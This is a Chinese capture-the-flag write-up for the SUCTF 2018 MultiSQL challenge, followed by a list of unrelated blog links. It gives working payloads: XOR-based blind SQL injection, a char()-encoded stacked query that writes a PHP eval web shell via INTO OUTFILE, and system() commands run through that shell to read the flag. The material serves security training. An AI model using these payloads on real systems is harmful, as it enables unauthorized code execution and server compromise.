[SUCTF 2018]MultiSQL1

进去题目页面如下

发现可能注入点只有登录和注册,那么我们先注册一个用户,发现跳转到了/user/user.php

查看用户信息,发现有传参/user/user.php?id=1

用?id=1 and 1=1,和?id=1 and 1=2,判断为数字型注入

原本以为是简单的数字型注入,看到大佬说,结果flag不在数据库当中,需要利用注入getshell,链接如下,跟着大佬的方法试一试

BUUCTF:[SUCTF 2018]MultiSQL-CSDN博客

构造payload

复制代码
http://e025992d-16e2-40f6-88a5-f83aaed92000.node5.buuoj.cn:81/user/user.php?id=2^(if(ascii(mid(user(),1,1))>0,0,1))

通过burp suite的intruder模块进行关键字爆破,看看过滤了哪些关键字

发现过滤了union,select ,&等,故使用char()绕过,语句为

select '<?php eval($POST[]);?>' into outfile '/var/www/html/favicon/shell.php';

可以利用这个工具转换为十进制

文本转十进制-在线免费文本转十进制工具-即时工具

构造payload。getshell

复制代码
http://e025992d-16e2-40f6-88a5-f83aaed92000.node5.buuoj.cn:81/user/user.php?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;

最后访问

复制代码
http://e025992d-16e2-40f6-88a5-f83aaed92000.node5.buuoj.cn:81/favicon/shell.php

查看shell,再利用post传参

_system("cd /;ls;echo '<br>';cat WelL_Th1s_14_fl4g");

最后得到flag

相关推荐
qq_39269066几秒前
Scikit-learn怎么实现协同过滤推荐_利用NearestNeighbors找相似用户
jvm·数据库·python
dfdfadffa1 分钟前
C#怎么使用TopLevel顶级语句 C#顶级语句怎么写如何省略Main方法简化控制台程序【语法】
jvm·数据库·python
qq_413502022 分钟前
Workerman vs Swoole:2026高性能PHP框架怎么选?
jvm·数据库·python
hhb_6186 分钟前
Tcl脚本自动化运维实操落地案例详解
运维·网络·自动化
zjy277777 分钟前
PHP源码对声卡有依赖吗_音频硬件无关性说明【方法】
jvm·数据库·python
2301_818008448 分钟前
PHP函数如何适配高密度服务器机箱_PHP在紧凑硬件布局优化【操作】
jvm·数据库·python
a7963lin14 分钟前
c#如何实现幂等消费_c#幂等消费的几种常见用法
jvm·数据库·python
kexnjdcncnxjs14 分钟前
Redis怎样实现Session的分布式共享
jvm·数据库·python
tjc1990100521 分钟前
mysql如何防止SQL注入攻击_mysql参数化查询与转义
jvm·数据库·python
Kakaxiii22 分钟前
【2026最新】Neo4j 数据库如何像 MySQL 一样导出和快速恢复完整数据
数据库·mysql·neo4j